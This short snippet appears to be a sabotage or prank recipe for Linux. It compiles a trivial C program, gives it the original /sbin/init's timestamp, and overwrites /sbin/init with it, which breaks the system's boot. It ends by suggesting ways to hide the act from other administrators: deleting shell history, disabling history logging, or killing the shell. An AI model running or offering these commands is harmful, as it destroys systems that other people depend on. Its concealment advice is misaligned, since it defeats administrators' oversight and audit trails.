Create a file called init.c

#include <stdio.h>
 
int main(){
 
       printf("MOEHAHAHHAAAA\n");
       return 0;
}

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$